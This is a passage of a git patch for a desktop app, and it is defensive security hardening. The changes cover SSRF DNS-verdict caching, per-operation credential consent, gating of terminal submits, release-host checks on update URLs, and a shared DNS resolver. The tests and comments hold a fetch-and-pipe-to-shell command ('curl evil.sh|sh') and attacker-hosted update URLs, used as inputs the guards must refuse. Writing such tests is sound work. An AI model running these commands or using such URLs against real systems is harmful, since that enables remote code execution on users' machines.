(!subresourceNeedsResolution(details.resourceType)) { - callback({ cancel: isBlockedRequestUrl(details.url) }) + settle(isBlockedRequestUrl(details.url)) return } void isBlockedSubresourceUrl(details.url) - .then((blocked) => callback({ cancel: blocked })) + .then((blocked) => settle(blocked)) .catch((error) => { logger.error('Agent subresource SSRF check failed; cancelling request', { error }) - callback({ cancel: true }) + settle(true) }) }) ses.on('will-download', (_event, item) => { @@ -1068,6 +1083,9 @@ export function closeSession(): void { * pinned tabs, or browsing trail. */ export async function clearProfileStorage(): Promise { + // Cached DNS verdicts are part of the browsing trail: without this a wipe + // leaves up to the TTL of resolved-host classifications behind. + clearHostVerdictCache() closeLiveTabs() // Stays true so a later restore cannot re-read the list being erased here. pinnedTabsRestored = true @@ -1114,7 +1132,12 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise if (storages.length > 0) { await ses.clearStorageData({ storages } as Parameters[0]) } - if (kinds.includes('cache')) await ses.clearCache() + if (kinds.includes('cache')) { + await ses.clearCache() + // Resolved-host verdicts are a cache too, and a user clearing the cache + // means all of it. + clearHostVerdictCache() + } } export function listTabs(): BrowserTabState[] { diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts index ecf94890299..bb28e0177b4 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.test.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts @@ -175,6 +175,50 @@ describe('isBlockedSubresourceUrl', () => { expect(mockLookup).not.toHaveBeenCalled() }) + it('re-resolves once the verdict expires', async () => { + vi.useFakeTimers() + try { + await isBlockedSubresourceUrl('https://example.com/a.js') + expect(mockLookup).toHaveBeenCalledTimes(1) + + await vi.advanceTimersByTimeAsync(30_001) + mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }]) + await expect(isBlockedSubresourceUrl('https://example.com/a.js')).resolves.toBe(true) + expect(mockLookup).toHaveBeenCalledTimes(2) + } finally { + vi.useRealTimers() + } + }) + + it('caches a blocked verdict too, not only an allowed one', async () => { + mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }]) + + await expect(isBlockedSubresourceUrl('https://internal.example/a.js')).resolves.toBe(true) + await expect(isBlockedSubresourceUrl('https://internal.example/b.js')).resolves.toBe(true) + + expect(mockLookup).toHaveBeenCalledTimes(1) + }) + + it('shares one lookup across concurrent requests to the same host', async () => { + // Sequential calls would pass on the result cache alone; a page issues these + // in parallel, and one getaddrinfo per request saturates the libuv pool. + await Promise.all([ + isBlockedSubresourceUrl('https://example.com/a.js'), + isBlockedSubresourceUrl('https://example.com/b.js'), + isBlockedSubresourceUrl('https://example.com/c.js'), + isBlockedSubresourceUrl('wss://example.com/socket'), + ]) + + expect(mockLookup).toHaveBeenCalledTimes(1) + }) + + it('treats a trailing-dot host as the same host', async () => { + await isBlockedSubresourceUrl('https://example.com/a.js') + await isBlockedSubresourceUrl('https://example.com./b.js') + + expect(mockLookup).toHaveBeenCalledTimes(1) + }) + it('resolves a host once and reuses the verdict', async () => { await isBlockedSubresourceUrl('https://example.com/a.js') await isBlockedSubresourceUrl('https://example.com/b.js') diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index efa51c5bcc1..6c3cf8dd93c 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -121,14 +121,6 @@ export async function checkAgentUrl(rawUrl: string): Promise { return OK } -/** - * Synchronous backstop for the agent partition's `onBeforeRequest`: blocks any - * request whose host is a **literal** private/reserved IP. This is cheap enough - * to run per-request and catches redirects and subresources that target the - * metadata endpoint or an internal IP directly, without the cost of a DNS - * lookup on every subresource. Hostnames pass here (they are classified at - * navigation time by {@link checkAgentUrl}). - */ /** * Subresource types that keep the cheap synchronous literal-IP check. * @@ -163,14 +155,38 @@ const HOST_VERDICT_TTL_MS = 30_000 */ const MAX_HOST_VERDICTS = 256 -const hostVerdicts = new Map() +/** + * The in-flight or settled verdict per host. + * + * The promise is cached, not the boolean, so the requests a single page load + * fires at one host share one lookup. Caching only the result left every + * request that arrived before the first lookup settled to start its own, and + * `dns.lookup` is `getaddrinfo` on the libuv threadpool — four slots by + * default, shared with every `fs` call in the main process. A page naming a few + * hundred hostnames could then queue hundreds of blocking jobs, each up to + * {@link DNS_TIMEOUT_MS}, and stall unrelated work like the settings write or + * the credential vault. + */ +const hostVerdicts = new Map; expiry: number }>() -function rememberHostVerdict(host: string, blocked: boolean): void { +function rememberHostVerdict(host: string, verdict: Promise): void { if (hostVerdicts.size >= MAX_HOST_VERDICTS) { - const oldest = hostVerdicts.keys().next() - if (!oldest.done) hostVerdicts.delete(oldest.value) + // Expired entries first: at capacity the queue can be full of dead ones, + // and evicting those before a live entry keeps a hot host resident while a + // hostile page churns through hostnames. + const now = Date.now() + for (const [host, entry] of hostVerdicts) { + if (now >= entry.expiry) hostVerdicts.delete(host) + } + if (hostVerdicts.size >= MAX_HOST_VERDICTS) { + const oldest = hostVerdicts.keys().next() + if (!oldest.done) hostVerdicts.delete(oldest.value) + } } - hostVerdicts.set(host, { blocked, expiry: Date.now() + HOST_VERDICT_TTL_MS }) + // Deleted first so a refreshed host moves to the back of the eviction queue + // rather than keeping its original slot and being dropped while still hot. + hostVerdicts.delete(host) + hostVerdicts.set(host, { verdict, expiry: Date.now() + HOST_VERDICT_TTL_MS }) } /** Drops every cached host classification. */ @@ -202,31 +218,48 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise } catch { return false } - const host = unwrapIpv6Brackets(hostname) + // A trailing dot is a legal absolute name that resolves the same, so it is + // stripped for the key rather than caching the same host twice. + const host = unwrapIpv6Brackets(hostname).replace(/\.$/, '') if (!host) return false if (isIpLiteral(host)) return isBlockedAddress(host) const cached = hostVerdicts.get(host) - if (cached && Date.now() < cached.expiry) return cached.blocked + if (cached && Date.now() < cached.expiry) return cached.verdict - let blocked: boolean - try { - const resolved = await resolveHost(host) - blocked = resolved.some(({ address }) => isBlockedAddress(address)) - } catch (error) { - logger.warn('Agent subresource host did not resolve; blocking', { - host, - error: getErrorMessage(error), + const verdict = resolveHost(host) + .then((resolved) => { + const blocked = resolved.some(({ address }) => isBlockedAddress(address)) + if (blocked) { + logger.warn('Blocked agent subresource resolving to private IP', { host }) + } + return blocked }) - return true - } - rememberHostVerdict(host, blocked) - if (blocked) { - logger.warn('Blocked agent subresource resolving to private IP', { host }) - } - return blocked + .catch((error) => { + logger.warn('Agent subresource host did not resolve; blocking', { + host, + error: getErrorMessage(error), + }) + // Dropped rather than cached: a resolver hiccup must not block this host + // for the rest of the window. + hostVerdicts.delete(host) + return true + }) + rememberHostVerdict(host, verdict) + return verdict } +/** + * Synchronous backstop for the agent partition's `onBeforeRequest`: blocks any + * request whose host is a **literal** private/reserved IP. Cheap enough to run + * per-request, and it catches redirects and subresources that target the + * metadata endpoint or an internal IP directly. + * + * Hostnames pass here. They are classified by {@link checkAgentUrl} for document + * navigations and by {@link isBlockedSubresourceUrl} for every subresource type + * except the ones {@link subresourceNeedsResolution} exempts, which are the only + * requests still relying on this alone. + */ export function isBlockedRequestUrl(rawUrl: string): boolean { try { // isPrivateIpHost strips IPv6 brackets itself; unwrap again for the diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts index ca14d7a679a..5eebe283964 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts @@ -135,13 +135,15 @@ describe('authorizeForSecret', () => { expect(promptTouchID).toHaveBeenCalledTimes(2) }) - it('lets a reveal consent cover a later copy of the same credential', async () => { + it('never lets a reveal consent stand in for a copy either', async () => { await expect(authorizeForSecret(request('c1'))).resolves.toBe(true) + expect(promptTouchID).toHaveBeenCalledTimes(1) - // The plaintext is already on screen, so putting that same string on the - // clipboard buys nothing by prompting twice. + // Copying publishes the plaintext to the pasteboard, where other processes + // and Universal Clipboard can reach it — an exposure "Show password?" never + // described, so it asks again. await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true) - expect(promptTouchID).toHaveBeenCalledTimes(1) + expect(promptTouchID).toHaveBeenCalledTimes(2) }) it('keeps a copy grant usable for further copies', async () => { @@ -151,13 +153,6 @@ describe('authorizeForSecret', () => { expect(promptTouchID).toHaveBeenCalledTimes(1) }) - it('never widens a grant to another credential', async () => { - await authorizeForSecret(request('c1')) - await authorizeForSecret(request('c2')) - - expect(promptTouchID).toHaveBeenCalledTimes(2) - }) - it('asks again after the credential is explicitly revoked', async () => { await authorizeForSecret(request('c1')) revokeSecretAuthorization('c1') diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index c61b5014e42..6ee10fc583b 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -13,20 +13,21 @@ const logger = createLogger('BrowserCredentialAuth') * same string on the clipboard is friction that buys nothing, and teaches * people to approve prompts without reading them. * - * That reasoning only runs one way, which is why grants carry the operation - * they were proven for: nothing about a copy implies the user agreed to hand - * the plaintext to the renderer. + * That reasoning is per-operation, which is why grants carry the one they were + * proven for. It justifies skipping a second prompt for the SAME operation, and + * nothing more: neither operation implies consent to the other's exposure. */ const AUTH_GRACE_MS = 30_000 /** * What a grant was proven for. * - * The two are not equivalent, and the ordering matters: `copy` puts the - * plaintext on the clipboard from inside the main process and returns only a - * boolean, while `reveal` hands the string itself to the Sim renderer. So - * `reveal` is the stronger claim and a proof of it covers a later `copy` — but - * not the other way round. + * Neither operation dominates the other, so a grant satisfies only its own. + * `reveal` hands the plaintext to the Sim renderer; `copy` publishes it to the + * macOS pasteboard, which every process on the machine can read, which + * clipboard managers persist to disk beyond the 30s `clipboard.clear()`, and + * which Universal Clipboard syncs to the user's other devices. Ordering them + * either way lets one consent authorize an exposure the prompt never described. */ export type SecretOperation = 'reveal' | 'copy' @@ -54,11 +55,6 @@ export interface SecretAuthRequest { action: string } -/** Whether a proof of `granted` is enough to perform `requested`. */ -function grantCovers(granted: SecretOperation, requested: SecretOperation): boolean { - return granted === 'reveal' || granted === requested -} - function hasFreshProof(credentialId: string, operation: SecretOperation): boolean { const proof = provenUntil.get(credentialId) if (proof === undefined) return false @@ -66,7 +62,7 @@ function hasFreshProof(credentialId: string, operation: SecretOperation): boolea provenUntil.delete(credentialId) return false } - return grantCovers(proof.operation, operation) + return proof.operation === operation } /** diff --git a/apps/desktop/src/main/input-activity.ts b/apps/desktop/src/main/input-activity.ts index 6d3d947ae14..1e1579edcfa 100644 --- a/apps/desktop/src/main/input-activity.ts +++ b/apps/desktop/src/main/input-activity.ts @@ -55,6 +55,21 @@ interface InputActivity { const activityByContents = new WeakMap() +/** + * A pointer move with a button held down — a drag, which is intent, unlike the + * resting-cursor stream the passive types are excluded for. Without this a + * selection drag longer than the window stops counting mid-gesture. + */ +function isDragMove(input: InputEvent): boolean { + if (input.type !== 'mouseMove') return false + const modifiers = input.modifiers ?? [] + return ( + modifiers.includes('leftbuttondown') || + modifiers.includes('middlebuttondown') || + modifiers.includes('rightbuttondown') + ) +} + /** * Records real OS input for `contents`. * @@ -67,7 +82,7 @@ const activityByContents = new WeakMap() */ export function trackInputActivity(contents: WebContents): void { contents.on('input-event', (_event, input) => { - if (!DELIBERATE_INPUT_TYPES.has(input.type)) return + if (!DELIBERATE_INPUT_TYPES.has(input.type) && !isDragMove(input)) return const now = Date.now() const discrete = DISCRETE_INPUT_TYPES.has(input.type) const activity = activityByContents.get(contents) @@ -89,10 +104,7 @@ export function trackInputActivity(contents: WebContents): void { * where the legitimate caller is a person typing into xterm.js. */ export function hasRecentDeliberateInput(contents: WebContents): boolean { - if (contents.isDestroyed()) return false - const activity = activityByContents.get(contents) - if (!activity) return false - return Date.now() - activity.lastDeliberateAt < DELIBERATE_INPUT_WINDOW_MS + return isWithin(contents, (activity) => activity.lastDeliberateAt, DELIBERATE_INPUT_WINDOW_MS) } /** @@ -101,8 +113,25 @@ export function hasRecentDeliberateInput(contents: WebContents): boolean { * requirement is an actual click or keypress rather than mere activity. */ export function hasRecentDiscreteInput(contents: WebContents): boolean { + return isWithin(contents, (activity) => activity.lastDiscreteAt, DISCRETE_INPUT_WINDOW_MS) +} + +/** + * Whether a recorded stamp is inside its window. + * + * A negative elapsed fails the check rather than passing it: `Date.now()` can + * step backwards on an NTP correction, and `now - then < window` is true for + * every negative delta, which would leave an arbitrarily old stamp satisfying + * the gate indefinitely. + */ +function isWithin( + contents: WebContents, + stamp: (activity: InputActivity) => number, + windowMs: number +): boolean { if (contents.isDestroyed()) return false const activity = activityByContents.get(contents) if (!activity) return false - return Date.now() - activity.lastDiscreteAt < DISCRETE_INPUT_WINDOW_MS + const elapsed = Date.now() - stamp(activity) + return elapsed >= 0 && elapsed < windowMs } diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 275d9865d59..e5d7b81dadd 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -808,17 +808,33 @@ describe('registerIpcHandlers', () => { expect(forgetCredential).toHaveBeenCalledWith('c1') }) - it('accepts a terminal write only after the main process has seen real input', () => { + it('refuses a terminal submit with no real input behind it', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r') expect(write).not.toHaveBeenCalled() + on.get('terminal:write')?.(inactiveAppEvent, 't1', 'evil\n') + expect(write).not.toHaveBeenCalled() on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r') expect(write).toHaveBeenCalledWith('t1', 'ls\r') }) + it('always forwards writes that cannot submit, including PTY replies', () => { + const { on } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + + // The PTY solicits these and the terminal must answer with no user input: + // a DSR cursor-position reply, a device-attributes reply, a focus report. + // Gating the whole channel would hang whatever asked. + for (const reply of ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', 'ls']) { + on.get('terminal:write')?.(inactiveAppEvent, 't1', reply) + expect(write).toHaveBeenCalledWith('t1', reply) + } + expect(write).toHaveBeenCalledTimes(4) + }) + it('defaults password conflicts to keeping what is already stored', async () => { const { invoke } = collectHandlers() diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index 37d79c344b7..7a1652864f3 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -269,11 +269,12 @@ type ChannelSpec = | (ChannelSpecBase & { kind: 'send' /** - * Requires the user to have recently driven this renderer with real OS - * input. For channels whose legitimate caller is a person operating a - * widget, where a background script must not be able to call at will. + * Requires recent real OS input before a payload that would SUBMIT a + * command line (one containing a newline) is forwarded. Payload-scoped + * rather than channel-scoped because the same channel also carries + * terminal replies the PTY solicits, which arrive with no user input. */ - needsDeliberateInput?: boolean + submitNeedsDeliberateInput?: boolean handler: (...args: unknown[]) => void }) @@ -328,6 +329,17 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean return hasRecentDiscreteInput(event.sender) } +/** + * Whether a terminal-write payload would submit what is in the line buffer. + * + * `\r` is what a shell treats as "run this"; `\n` is accepted too so a + * multi-line or bracketed-paste payload cannot slip a submission through on the + * other newline form. + */ +function submitsCommandLine(args: unknown[]): boolean { + return args.some((arg) => typeof arg === 'string' && (arg.includes('\r') || arg.includes('\n'))) +} + interface DesktopToolAuthorization { toolName: string args: Record @@ -929,21 +941,33 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'send', gate: 'app-origin', requires: 'terminal', - // A raw PTY write submits a command line on the trailing `\r`, so this is - // the one channel where the app origin alone is not enough: an XSS'd or - // hostile origin would otherwise reach arbitrary command execution with - // `write(id, 'curl evil.sh|sh\r')`. `terminal:execute-tool` is bound to a - // server-authorized Copilot tool call; this is the interactive path, whose - // only legitimate caller is a person typing into xterm.js — so it is gated - // on the main process having seen that person's keystrokes. Panel focus is - // deliberately not used: `terminal:focused` is a renderer-asserted claim - // the same attacker can set. - needsDeliberateInput: true, handler: (terminalId, data) => { - if (typeof terminalId === 'string' && typeof data === 'string') { - deps.terminal.write(terminalId, data) - } + if (typeof terminalId !== 'string' || typeof data !== 'string') return + deps.terminal.write(terminalId, data) }, + // Only a submit is gated, never the whole channel. + // + // This carries xterm.js's entire upstream stream, and much of it is not + // typing at all: the PTY solicits replies the terminal must answer + // unprompted — DSR cursor position (`CSI 6n`, which p10k/starship emit on + // every prompt), device attributes, focus reports (mode 1004, set by both + // tmux and vim), mouse reports. Requiring recent input for those would + // silently break the reply protocol and leave a program waiting forever + // for an answer it will never get. + // + // A raw write only becomes command execution on the trailing `\r`, so that + // is what needs a person behind it: an XSS'd or hostile origin must not + // reach `write(id, 'curl evil.sh|sh\r')`. Panel focus is deliberately not + // used — `terminal:focused` is a renderer-asserted claim the same attacker + // can set. + // + // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's + // line buffer, where the user's own next Enter submits it — visible on + // screen, but not prevented. Closing that needs the interactive path off + // the renderer surface entirely (main writing the keystrokes it already + // observes) or the terminal in its own WebContents, neither of which is a + // gate change. Tracked as follow-up. + submitNeedsDeliberateInput: true, }, 'terminal:resize': { kind: 'send', @@ -1061,7 +1085,13 @@ export function registerIpcHandlers(deps: IpcDeps): void { } else { ipcMain.on(channel, (event, ...args) => { if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return - if (spec.needsDeliberateInput && !hasRecentDeliberateInput(event.sender)) return + if ( + spec.submitNeedsDeliberateInput && + submitsCommandLine(args) && + !hasRecentDeliberateInput(event.sender) + ) { + return + } spec.handler(...(spec.passSender ? [event.sender, ...args] : args)) }) } diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts index f828cdcbfe9..0ba00f9fdca 100644 --- a/apps/desktop/src/main/updater.test.ts +++ b/apps/desktop/src/main/updater.test.ts @@ -342,8 +342,31 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { await vi.advanceTimersByTimeAsync(0) // Never advertised, so the user is never offered a Download button for it. - expect(handle.getState()).toEqual({ status: 'idle', manual: true }) + // 'error' rather than 'idle': a newer version exists but cannot be offered. + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) + + handle.check() + handle.install() + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('refuses an attacker-hosted https asset', async () => { + const offHost = [ + 'version: 9.9.9', + 'files:', + ' - url: https://attacker.example/Sim-9.9.9-universal.dmg', + ' sha512: abc', + // A lookalike host must not pass a prefix test either. + ' - url: https://github.com.evil.example/simstudioai/sim/releases/download/v9.9.9/Sim.dmg', + ' sha512: def', + "releaseDate: '2026-07-23T00:00:00.000Z'", + ].join('\n') + const { handle } = await createManualUpdater(async () => offHost) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) handle.check() handle.install() expect(shell.openExternal).not.toHaveBeenCalled() diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index 07221420f5c..13dc7695501 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -21,6 +21,29 @@ export type UpdateChannel = 'latest' | 'beta' | 'alpha' * staging beta, prod stable — so the environment, not the client, is the * channel. Returns null for origins that can't host a feed. */ +/** + * Where the feed rewrites every manifest entry to. Downloads are constrained to + * this prefix rather than to https alone, so a feed that serves an attacker's + * host cannot get a bundle in front of the user's Download button. + */ +const RELEASE_ASSET_PREFIX = 'https://github.com/simstudioai/sim/releases/download/' + +/** Whether a manifest url is one of our own release assets. */ +export function isReleaseAssetUrl(rawUrl: string): boolean { + if (!isSafeExternalUrl(rawUrl)) return false + try { + const url = new URL(rawUrl) + // Compared on the parsed origin, never by prefix on the raw string, so + // `https://github.com.evil.example/…` cannot pass. + return ( + url.origin === 'https://github.com' && + url.pathname.startsWith(new URL(RELEASE_ASSET_PREFIX).pathname) + ) + } catch { + return false + } +} + export function feedUrlForOrigin(origin: string): string | null { try { const url = new URL(origin) @@ -439,20 +462,33 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { // Filtered before selection, not just before opening: the manifest is // whatever the configured origin served, so `smb://…/x.dmg` or a bare // `file:///…` would otherwise pass the suffix test and be advertised as - // an available update. Loopback http is kept because feedUrlForOrigin - // accepts an http origin, so a self-host on localhost is legitimate. + // an available update. + // + // Constrained to the release host, not merely to https. The feed rewrites + // every entry to an absolute `${RELEASE_ASSET_PREFIX}` URL, so nothing + // legitimate is excluded — while scheme-only validation would still admit + // `https://attacker.example/Sim.dmg`, and the download dialog walks the + // user through installing whatever it hands to the browser. That is a + // worse outcome than the protocol-handler launch this guards against. const urls = Array.from( manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1] - ).filter((url) => isSafeExternalUrl(url, true)) + ).filter(isReleaseAssetUrl) downloadUrl = urls.find((url) => url.endsWith('.dmg')) ?? urls.find((url) => url.endsWith('.zip')) ?? urls[0] ?? null if (!downloadUrl) { - logger.warn('Update manifest had no usable download url') - setState({ status: 'idle', manual: true }) + // 'error', not 'idle': a newer version demonstrably exists and cannot + // be offered, so "Sim is up to date" would strand a user whose shell + // the server's minimum-version gate is already blocking. + logger.warn('Update manifest had no usable download url', { + version, + candidates: urls.length, + }) + deps.events.record('update_blocked_version', { version, reason: 'unusable-url' }) + setState({ status: 'error', version: state.version, manual: true }) return } deps.events.record('update_check', { available: version, manual: true }) @@ -467,9 +503,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { if (downloadUrl) { deps.events.record('update_manual_download', { url: downloadUrl }) // Through openExternalSafe like every other external open in the app, - // so the scheme allowlist is enforced at the sink and not only where - // the url was chosen. - void openExternalSafe(downloadUrl, true) + // so the allowlist is enforced at the sink and not only where the url + // was chosen. No loopback exemption: every legitimate asset is https. + void openExternalSafe(downloadUrl) } } diff --git a/apps/desktop/src/preload/browser/index.ts b/apps/desktop/src/preload/browser/index.ts index a968f917177..846771cab6a 100644 --- a/apps/desktop/src/preload/browser/index.ts +++ b/apps/desktop/src/preload/browser/index.ts @@ -45,8 +45,12 @@ function isFillable(field: HTMLInputElement): boolean { */ function isPasswordField(field: HTMLInputElement): boolean { if (String(field.type || '').toLowerCase() === 'password') return true + // Token membership, not whole-string equality: the spec allows + // space-separated detail tokens and WebAuthn recommends + // `current-password webauthn`. Equality here while the agent guards split + // tokens would leave fill blind to exactly the fields they protect. const hint = String(field.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint.split(/\s+/).some((token) => token === 'current-password' || token === 'new-password') } function findPasswordField(): HTMLInputElement | null { @@ -88,8 +92,11 @@ function findUsernameField(password: HTMLInputElement): HTMLInputElement | null function findIdentifierField(): HTMLInputElement | null { for (const field of document.querySelectorAll('input')) { if (!isFillable(field)) continue + // Token membership for the same reason as isPasswordField above: + // `autocomplete="section-login username"` is spec-legal. const hint = String(field.getAttribute('autocomplete') || '').toLowerCase() - if (hint === 'username' || hint === 'email') return field + const tokens = hint.split(/\s+/) + if (tokens.includes('username') || tokens.includes('email')) return field if (String(field.type || '').toLowerCase() === 'email') return field } return null From 042db18a21b6920843cc3a06dddd26e6e24237ce Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:49:03 -0700 Subject: [PATCH 10/16] refactor(security): one DNS resolver for every SSRF guard, checking all addresses MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Five independent `dns.lookup` bodies existed — four in apps/sim (validateUrlWithDNS, the database-host check, MCP domain-check, 1Password Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were copy-paste identical, and two properties diverged in ways that mattered: They classified ONE address. `resolved.find(family === 4) ?? resolved[0]` picked an address to pin and then judged only that one, so a host publishing both a public and a private record passed whenever the public record sorted first. That is record order, not policy, and validateUrlWithDNS alone is reached from ~70 call sites. Now every address is classified and the IPv4-preferred one is still what gets returned to pin — the pinning rationale (Happy Eyeballs fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is untouched. They had no deadline. Only the desktop copy bounded the lookup, so a hung resolver could hold an apps/sim request handler open indefinitely. The shared helper carries the 5s deadline, the swallowed late rejection, and the always cleared timer. `resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the `node:dns` dependency reaches only the servers that import it — apps/realtime pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged at 14 workspaces. Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a socket-connect `LookupFunction` that needs raw entries with their family and already validates every address, and desktop's per-host verdict cache keeps its own loopback policy on top of the shared resolver. The localhost carve-out is tightened as a consequence: it applies only when every record is loopback, so `localhost` that also resolves to the LAN no longer rides it. --- .../src/main/browser-agent/url-guard.test.ts | 2 + .../src/main/browser-agent/url-guard.ts | 43 +++-------- apps/sim/app/api/tools/onepassword/utils.ts | 16 ++-- .../security/input-validation.server.test.ts | 75 +++++++++++++++++++ .../core/security/input-validation.server.ts | 40 +++++----- apps/sim/lib/mcp/domain-check.ts | 37 +++++---- packages/security/package.json | 4 + packages/security/src/dns.test.ts | 72 ++++++++++++++++++ packages/security/src/dns.ts | 68 +++++++++++++++++ 9 files changed, 283 insertions(+), 74 deletions(-) create mode 100644 apps/sim/lib/core/security/input-validation.server.test.ts create mode 100644 packages/security/src/dns.test.ts create mode 100644 packages/security/src/dns.ts diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts index bb28e0177b4..8544e149b90 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.test.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts @@ -2,6 +2,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' const { mockLookup } = vi.hoisted(() => ({ mockLookup: vi.fn() })) +// The real resolveHostAddresses runs; only the resolver under it is mocked, so +// its deadline and all-addresses behaviour stay covered here. vi.mock('node:dns/promises', () => ({ default: { lookup: mockLookup }, })) diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index 6c3cf8dd93c..585aa07e447 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -1,5 +1,5 @@ -import dns from 'node:dns/promises' import { createLogger } from '@sim/logger' +import { resolveHostAddresses } from '@sim/security/dns' import { isIpLiteral, isLoopbackIp, @@ -12,31 +12,6 @@ import { parseHttpUrl } from '@/main/navigation' const logger = createLogger('BrowserAgentUrlGuard') -/** Hard deadline on the SSRF DNS lookup so a slow/hung resolver can't suspend - * the check — and the onBeforeRequest callback that awaits it — indefinitely. - * A timeout rejects, which fails closed (blocks) via the caller's catch. */ -const DNS_TIMEOUT_MS = 5_000 - -/** dns.lookup bounded by {@link DNS_TIMEOUT_MS}; the timer is always cleared so a - * won race never leaves a dangling rejection. */ -async function resolveHost(host: string) { - const lookup = dns.lookup(host, { all: true, verbatim: true }) - // If the timeout wins the race the lookup stays pending; swallow its eventual - // settlement so a late rejection can't surface as an unhandled rejection. - lookup.catch(() => {}) - let timer: NodeJS.Timeout | undefined - try { - return await Promise.race([ - lookup, - new Promise((_, reject) => { - timer = setTimeout(() => reject(new Error('DNS lookup timed out')), DNS_TIMEOUT_MS) - }), - ]) - } finally { - clearTimeout(timer) - } -} - export interface UrlGuardResult { ok: boolean error?: string @@ -103,8 +78,8 @@ export async function checkAgentUrl(rawUrl: string): Promise { } try { - const resolved = await resolveHost(host) - if (resolved.some(({ address }) => isBlockedAddress(address))) { + const { addresses } = await resolveHostAddresses(host) + if (addresses.some((address) => isBlockedAddress(address))) { logger.warn('Blocked agent navigation resolving to private IP', { host }) return BLOCKED } @@ -163,9 +138,9 @@ const MAX_HOST_VERDICTS = 256 * request that arrived before the first lookup settled to start its own, and * `dns.lookup` is `getaddrinfo` on the libuv threadpool — four slots by * default, shared with every `fs` call in the main process. A page naming a few - * hundred hostnames could then queue hundreds of blocking jobs, each up to - * {@link DNS_TIMEOUT_MS}, and stall unrelated work like the settings write or - * the credential vault. + * hundred hostnames could then queue hundreds of blocking jobs, each up to the + * resolver deadline, and stall unrelated work like the settings write or the + * credential vault. */ const hostVerdicts = new Map; expiry: number }>() @@ -227,9 +202,9 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise const cached = hostVerdicts.get(host) if (cached && Date.now() < cached.expiry) return cached.verdict - const verdict = resolveHost(host) - .then((resolved) => { - const blocked = resolved.some(({ address }) => isBlockedAddress(address)) + const verdict = resolveHostAddresses(host) + .then(({ addresses }) => { + const blocked = addresses.some((address) => isBlockedAddress(address)) if (blocked) { logger.warn('Blocked agent subresource resolving to private IP', { host }) } diff --git a/apps/sim/app/api/tools/onepassword/utils.ts b/apps/sim/app/api/tools/onepassword/utils.ts index 5f0cc9b60fb..4f5fe7a692f 100644 --- a/apps/sim/app/api/tools/onepassword/utils.ts +++ b/apps/sim/app/api/tools/onepassword/utils.ts @@ -1,4 +1,3 @@ -import dns from 'dns/promises' import type { FileAttributes, Item, @@ -12,6 +11,7 @@ import type { Website, } from '@1password/sdk' import { createLogger } from '@sim/logger' +import { resolveHostAddresses } from '@sim/security/dns' import { isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf' import { toError } from '@sim/utils/errors' import { generateId } from '@sim/utils/id' @@ -312,12 +312,12 @@ export 